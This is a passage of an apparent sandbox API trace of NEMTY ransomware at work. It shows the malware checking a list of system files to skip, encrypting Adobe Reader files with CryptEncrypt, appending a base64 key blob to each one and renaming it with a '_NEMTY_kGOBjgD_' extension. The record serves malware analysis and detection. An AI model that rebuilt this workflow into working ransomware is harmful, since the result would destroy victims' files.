[0193.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_joined.gif", lpUsedDefaultChar=0x0) returned 18 [0193.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_joined.gif", lpUsedDefaultChar=0x0) returned 18 [0193.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_joined.gif", lpUsedDefaultChar=0x0) returned 18 [0193.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_joined.gif", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_joined.gif", lpUsedDefaultChar=0x0) returned 18 [0193.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.631] Sleep (dwMilliseconds=0x5) [0193.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2710d090, dwHighDateTime=0x1d561e8)) [0193.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2710d090, dwHighDateTime=0x1d561e8)) [0193.641] GetLastError () returned 0x0 [0193.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.641] GetLastError () returned 0x0 [0193.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.641] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.641] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="2WxAXeDvygfxeDhab6w5UYmU/XqwPoLTCqMl3gJ7827Nymdc+NG5/QKPY31oJJdN\r\nc7cgfyyKAd8xeWyIe+Qz1QmLgn1hflWrna+DZ+N173ulzDRig8YIeryVDFc4SxDS\r\npQOY8iUu6DopCpa7uyhGktPchTe37dPhcvJ4H/IQ6BxmC3vxtO/nAEC/R3yhuZ8T\r\nks8t7uLXehmc9xJzuarFZ1IyvyMAO92tNjePibq0nD951MHTH6K1P4ZwZGdjeBzH\r\nRdybesuLkci4hiPEn+jutqS4A2i3Um63IL/3G0W8Bz7K9TyPaWh2jEbGVTq57VYV\r\ngyPNlDgkUp3xEhbZp87kxQ==\r\n", pcchString=0x653e91c) returned 1 [0193.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.641] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.642] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=914) returned 1 [0193.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x390) returned 0x6340048 [0193.642] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.642] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x390, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x390, lpOverlapped=0x0) returned 1 [0193.644] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.644] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x390, lpOverlapped=0x0) returned 1 [0193.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.644] SetFilePointer (in: hFile=0x254, lDistanceToMove=914, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x392 [0193.644] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.644] CloseHandle (hObject=0x254) returned 1 [0193.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_joined.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_joined.gif._nemty_kgobjgd_")) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.645] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2=".") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="..") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="...") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="windows") returned -1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="rsa") returned -1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="NTDETECT.COM") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="ntldr") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="MSDOS.SYS") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="IO.SYS") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="boot.ini") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="boot.ini") returned 1 [0193.645] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.646] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="ntuser.dat") returned 1 [0193.646] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="desktop.ini") returned 1 [0193.646] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="CONFIG.SYS") returned 1 [0193.646] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="RECYCLER") returned 1 [0193.646] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.646] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="bootmgr") returned 1 [0193.646] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="programdata") returned 1 [0193.646] lstrcmpiW (lpString1="reviews_sent.gif", lpString2="appdata") returned 1 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_sent.gif", lpUsedDefaultChar=0x0) returned 16 [0193.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_sent.gif", lpUsedDefaultChar=0x0) returned 16 [0193.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_sent.gif", lpUsedDefaultChar=0x0) returned 16 [0193.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reviews_sent.gif", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reviews_sent.gif", lpUsedDefaultChar=0x0) returned 16 [0193.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.646] Sleep (dwMilliseconds=0x5) [0193.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x271331f0, dwHighDateTime=0x1d561e8)) [0193.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x271331f0, dwHighDateTime=0x1d561e8)) [0193.656] GetLastError () returned 0x0 [0193.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.656] GetLastError () returned 0x0 [0193.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.657] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.657] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.657] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="PmZhek7TiaH2D83sgN5M65P7TY4dvcBJuxgljHAehvLzBF7j708I3zzyS2XyA5yJ\r\nLH8Ko5sHWPtyz5id/H+PRQFI5/19rfXF7zyWtaXAKIThnHUg/9n5f+vitUWmdIup\r\nZgFqSuuXxtEvlLpa5HLAHn/O8KYfRXzx6Y4D4A2nEWo/19H4jCvY4m+1jUnRzup4\r\n8zDxnaMm26ryB3tZy3CbPHVkgGGAnOBX2hom7ig0cYY8qVAos5YvGYXQXoTqFT3B\r\nEZE3Rgx4TdzkWTqVhG/cnztV9kq3Kd9TBZ9cxCBypFnI6qfKf++/u3aSaUEuZB0E\r\nd7xAWRQNXuGEDQq3WRGBEA==\r\n", pcchString=0x653e91c) returned 1 [0193.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.657] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=909) returned 1 [0193.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x380) returned 0x6340048 [0193.657] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.657] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x380, lpOverlapped=0x0) returned 1 [0193.659] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.659] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x380, lpOverlapped=0x0) returned 1 [0193.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.659] SetFilePointer (in: hFile=0x254, lDistanceToMove=909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0193.659] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.659] CloseHandle (hObject=0x254) returned 1 [0193.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.660] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\reviews_sent.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\reviews_sent.gif._nemty_kgobjgd_")) returned 1 [0193.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: 